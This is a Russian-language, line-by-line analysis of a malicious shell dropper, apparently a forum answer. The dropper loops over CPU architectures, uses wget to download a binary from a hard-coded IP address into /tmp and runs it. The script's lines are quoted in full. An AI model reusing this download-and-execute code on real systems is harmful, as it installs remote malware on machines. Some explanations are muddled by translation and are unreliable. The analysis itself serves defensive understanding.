Построчно:
#!/bin/sh
Устанавливает sh
оболочку в зависимости от линии Шебанга. sh%20/tmp/ks
в запросе переопределяет это, поэтому эта строка обрабатывается как обычный комментарий и игнорируется.
u="asgknskjdgn"
Объявляет произвольное имя, предположительно, чтобы избежать столкновения с другими именами файлов. Я не уверен, почему они не будут просто использовать mktemp
, но, возможно, это доступно не на всех платформах.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Перечисляет несколько распространенных архитектур ЦП.
http_server="80.211.173.159" http_port=80
Сервер, на котором есть эксплойт.
cd /tmp/||cd /var/
Пытается изменить каталог, где ваш веб-сервер может создавать файлы. Я верю, что SELinux поможет с этим, установив гораздо более строгие правила относительно того, что может делать веб-сервер, чем файловая система сама по себе.
for name in $bin_names do
Для каждой архитектуры процессора ...
rm -rf $u
Удаляет ранее опробованные программы. Не нужно из-за следующей строки, поэтому можно игнорировать.
cp $SHELL $u
Копирует текущий исполняемый файл оболочки ( /bin/sh
). Может быть проигнорировано из-за строки после следующего.
chmod 777 $u
Предоставляет всем пользователям полный доступ к новому файлу. Это должно было произойти после wget
команды, которая является либо признаком написания сценариев для новичка, либо техникой неверного направления.
>$u
Опорожняет файл. Бессмысленно из-за следующей строки.
wget http://$http_server:$http_port/$name -O -> $u
Перезаписывает файл сценарием эксплойта для этой архитектуры. -O -> $u
мог быть написан -O - > $u
(дефис указывает, что загрузка должна быть записана в стандартный вывод), что эквивалентно -O $u
.
./$u $name
Запускает скрипт эксплойта с архитектурой в качестве первого аргумента.
done
Завершает цикл.
Похоже, что это тривиальный сценарий попытки эксплойта, пытающийся использовать известные эксплойты на разных процессорных платформах. Я не знаю, почему он перезаписывается $u
три раза, но эти операции могут просто оставаться от более ранней итерации сценария. Предположительно, что более ранняя версия имела жестко запрограммированные эксплойты, а не динамически обслуживаемые - первая проще, но почти гарантирует, что скрипт будет менее эффективен со временем, так как исправляются ошибки.